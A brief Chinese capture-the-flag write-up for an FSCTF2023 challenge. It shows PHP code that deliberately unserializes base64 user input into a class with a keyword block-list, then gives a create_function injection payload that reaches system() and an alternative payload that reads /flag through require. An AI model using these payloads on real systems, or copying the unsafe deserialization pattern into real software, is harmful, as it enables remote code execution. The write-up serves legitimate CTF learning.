代码审计
<?php
class Noteasy{
protected $param1;
protected $param2;
function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
解题
一眼看出是create注入,但是*被过滤,那就//注释替换
然后很多过滤,但是竟然没有过滤system
那就是命令设置为"}system($_GET[1]);//";,细节就是不需要system不需要'包裹,必须双引号闭合,编码一次就够了
然后不能执行phpinfo,
当然如果过滤了system,我们可以文件包含配合伪协议
require(base64_decode(ZmlsZTovLy9mbGFn));
//require(file:///flag)